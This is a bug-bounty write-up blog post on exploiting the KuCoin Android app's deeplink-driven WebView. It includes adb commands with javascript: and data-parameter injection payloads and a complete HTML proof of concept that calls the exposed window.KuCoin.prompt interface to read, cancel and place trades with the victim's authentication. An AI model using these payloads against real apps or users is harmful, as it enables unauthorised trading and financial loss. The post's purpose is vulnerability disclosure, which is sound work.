Intro

Webview in Android Ecosystem is an extension of Android’s view class that lets you display web pages as a part of your application activity layout. You can call it as a web browser built into your application but it doesn’t include the features of a fully developed web browser, such as navigation controls or an address bar. It is one of the widely used component in android application ecosystem, it is also prone to number of potential errors. If it is possible to load arbitrary url or execute arbitrary javascript in webview it could potentially lead to leaking of authentication tokens, the theft of arbitrary files and access to arbitrary activities. In this blog I will show how I exploited the exposed javascript interface by the application to perform critical authenticated actions like placing a trade order, cancelling trade order or deactivting the account.

# Finding the vulnerability

Last Year I came across a program on hackenproof called KuCoin which had interesting focus point for their mobile targets and the bounty table was really good so I thought if I am able to find a vulnerability that they are interested in I could get a nice bounty from them. scope I began testing on the application, I installed the application on my device, created an account in the app , decompiled the app using jadx. My first target was to open arbitrary url in the apps webview so I started looking for deeplinks in the application.

In AndroidManifest.xml the application has defined an exported activity called com.kubi.kucoin.feature.UriActivity which handles the incoming deeplinks to the application.

<activity
            android:theme="@style/kucoin_splash"
            android:name="com.kubi.kucoin.feature.UriActivity"
            android:exported="true"
            android:screenOrientation="portrait">
            <intent-filter>
                <data android:scheme="kucoin"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
            </intent-filter>
            <intent-filter android:autoVerify="true">
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data
                    android:scheme="https"
                    android:host="kucoin.onelink.me"
                    android:pathPrefix="/iqEP"/>
            </intent-filter>
        </activity>

I opened the com.kubi.kucoin.feature.UriActivity and there I couldn’t figure out the logic of how deeplinks are being handled at first glance, the app was using router architecture for navigation inside the app. Then I searched for kucoin:// string in jadx and found the following deeplinks used in the app. kucoin-string-search-result I found the following deeplink kucoin:///link?url= which looked very promising. so I tried sending an uri like kucoin:///link?url=https://example.com to the app, I got a message saying you are going to leave KuCoin for {url} This site you try might be a phishing site ..., then I sent an uri like kucoin:///link?url=https://kucoin.com and the url loaded in the webview, so before moving back to static analysis , I tried another payload kucoin:///link?url=javascript://kucoin.com/%0adocument.write(1111) and it worked, I quickly made a simple poc showing arbitrary url loading in the app’s webview and sent the report.

adb shell am start -n  -d 'kucoin:///link?url=javascript://kucoin.com/%250adocument.write\(\"\<iframe%20src=https://www.example.com%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bborder%3Anone%3B\>\<\/iframe\>\"\)\;\/\/'

At the time of sending the report the latest version available on playstore was v3.81.1 and later the team responded with this message team-response1

Later I found out that the app was updated to v3.82.0 and the kucoin team has performed assessment on that version for the submitted report. It meant that I had to find a bypass or another way to open the arbitrary url in webview.

BTW this was the fix implemented by the kucoin team in v3.82.0 In j.y.s0.j.e.java

public final boolean m6255f(String url) {
        Intrinsics.checkNotNullParameter(url, "url");
        if (m6256e()) {
            Issues.m5912c(new WebMessage("WhiteListMatcher isEmpty " + url, "WhiteListMatcher", false, 4, null), null, 2, null);
            return false;
        }
        if (this.f36890e) {
            if (!URLUtil.isNetworkUrl(url)) {
                return false;
            }
        } else if (!URLUtil.isHttpsUrl(url)) {
            return false; //checks whether received url have http/https scheme or not
        }

I again started doing static analysis of the application and was able to find another vulnerability which made the attack possible second time.

In In com.kubi.web.ui.WebViewActivity.java

public void onCreate(Bundle bundle) {
        //...//
        Intent intent3 = getIntent();
        Intrinsics.checkNotNullExpressionValue(intent3, "intent");
        this.f19927C = intentUtils.m10181f(intent3, "data"); // it is checking if the received uri contains data query parameter
public final void b1() {
        String str = this.f19927C;
            if (str != null && str.length() != 0) {
                z = false;
            }
            if (!z) {
                m25597c.loadData(C10208p.m25765h(this.f19927C), "text/html", "UTF-8");
            }
}

In WebViewActivity class I noticed this line intentUtils.m10181f(intent3, "data"); which was checking if the received uri contains data query parameter, this meant the application is also accepting the deeplink kucoin:///link?data= , but it didn’t come in the search result, that’s why it is very important to understand the logic of application you are testing if you don’t want to miss some very obvious thing.

I constructed another uri and sent it to the app, this time app was using webview.loadData method to load the given data in the webview and there was no validation being made by the app about what type of data is being sent to the app.

adb shell am start   -d 'kucoin:///link?data=\<script\>document.write\(\"\<iframe%20src=https://www.example.com%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bborder%3Anone%3B\>\<\/iframe\>\"\)\;\</script\>'

After finding this I started looking further to find ways to increase the impact of this vulnerability, in the program page it was mentioned that they are interested in attacks involving javascript interfaces, so I started looking for the use of JS interface in the app.

Android application uses webview.addJavascriptInterface method and @JavascriptInterface annotation to make the method public to be accessed from JavaScript code.

In com.kubi.sdk.hybrid.core.HybridWebView.java

public final void m12588b(IHybridJsInterface jsInterface, String name) {
        Intrinsics.checkNotNullParameter(jsInterface, "jsInterface");
        Intrinsics.checkNotNullParameter(name, "name");
        this.f16125f.add(name);
        addJavascriptInterface(new HybridJsInterface(this, jsInterface), name);
    }

Then I searched for @JavascriptInterface anotation string in the app and found that prompt method was exposed to javascript code in j.y.k0.hybrid.core.HybridJsInterface class.

 @JavascriptInterface
    
    public final void prompt(String message) {
         // JavascriptInterface LOGIC //
    }

In j.y.s0.d.h.b.java

public boolean mo29545a(InterfaceC18155c container, String event, HashMap<String, Object> params, HybridJsCallback hybridJsCallback) {
        Intrinsics.checkNotNullParameter(container, "container");
        Intrinsics.checkNotNullParameter(event, "event");
        Intrinsics.checkNotNullParameter(params, "params");
        JSONObject jSONObject = new JSONObject(event);
        String optString = jSONObject.optString(FirebaseAnalytics.Param.METHOD);
        String url = jSONObject.optString(ImagesContract.URL);
        if (optString == null) {
            return true;
        }
        int hashCode = optString.hashCode();
        if (hashCode != 102230) {
            if (hashCode == 3446944 && optString.equals("post")) {
                BaseActivity i02 = container.i0();
                Intrinsics.checkNotNull(i02);
                Intrinsics.checkNotNullExpressionValue(url, "url");
                m6326c(i02, url, params, hybridJsCallback);
                return true;
            }
            return true;
        } else if (optString.equals("get")) {
            BaseActivity i03 = container.i0();
            Intrinsics.checkNotNull(i03);
            Intrinsics.checkNotNullExpressionValue(url, "url");
            m6327b(i03, url, params, hybridJsCallback);
            return true;
        } else {
            return true;
        }
    }

From there I came across this method which was taking values from received json string’s key parameters method ,url and params. What the prompt javascript interface message was doing was that it would receive a json message and if the received message contains key parameter type and has it’s value proxy, then the method would call mo29545a the above method.

What this method mo29545a was doing that, it was making an authenticated arbitrary post or get requests to appapi-v2.xcoinsystem.com this was the api used by app to communicate with backend server and then was sending back the response of the request to javascript code.

From there to show the impact of vulnerability I crafted a poc which shows that you can read all open trade position, cancel all open position or create a new trade.

<html>
  <head>
    <title>Exploiting javascript interfaces</title>
    <style>
      #callback-box {
        border: 1px solid black;
        padding: 10px;
        margin-top: 20px;
      }
    </style>
  </head>
  <body>
    <p>reading open order positions</p>
    <button id="read-position">Read order positions</button>
    <p>Cancel Open Position</p>
    <button id="Cancel-Order">Cancel all open Orders</button>
    <p>Create xrpusdt sell Position</p>
    <button id="open-position">Open Position</button>
    <div id="callback-box"></div>
    <script>
      window.callbackDispatcher = function(callbackId, data) {
        var callbackDiv = document.createElement("div");
        callbackDiv.innerText = "Callback ID: " + callbackId + "\nData: " + data;
        document.getElementById("callback-box").appendChild(callbackDiv);
      };
      document.getElementById("Cancel-Order").addEventListener("click", function() {
        window.KuCoin.prompt('{"type":"proxy","params":{"method":"post","url":"v1/trade/order-cancel","tradeType":"TRADE","type":"limit"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
      });
      document.getElementById("open-position").addEventListener("click", function() {
        window.KuCoin.prompt('{"type":"proxy","params":{"method":"post","url":"v1/trade/order","symbol":"XRP-USDT","side":"sell","size":"1","price":"1","type":"limit","tradeType":"TRADE"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
      });
      document.getElementById("read-position").addEventListener("click", function() {
        window.KuCoin.prompt('{"type":"proxy","params":{"method":"get","url":"v2/kc/trade/orders?status=active"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
      });
    </script>
  </body>
</html>

Here is the poc video , the only limitation to this attack was that the user first needs to login in to the app and use their trading password to create a trade(because of short lived token of trading app they are needed to authenticate first if they are making a trade after long time) and if someone is an active trader and was getting attacked by this vulnerability, these limitation would not come in the first place.

The above attack clearly shows this is a high severity issue and will cause financial loss for their users. Now I will show you how the kucoin team and hackenproof mediation handled this report.

team-response2

  • First they set the attack vector as local - I don’t understand how trigerring a vulnerability from browser counts as local attack vector.
  • I was able to make arbitrary authenticated request using their api and was also able to receive the response so I have full control of what kind of information I can receive as I showed in the poc.
  • Allowing untrusted javascript code to make arbitrary authenticated requests? This clearly shows the integrity of the app was broken.
  • I could also have prevented victim access from they account by freezing the account, so availability was also not low.

I asked them to reconsider the severity but there was no response from them, so I asked for mediation from hackenproof team, and after months of asking for any update, they upgraded the vulnerability from low severity to cvss score of 4.3 which was again an unfair calculation. Even the kucoin agreed that this will cause financial loss, but they decided to rate it as medium severity of 4.3 cvss score. This is what they have responded with.

team-response3

Although I’ve moved on from this, the anger I felt at the time resurfaced while writing the blog. I hope anyone reading this gains some new insights. See you in the next one , byeee :)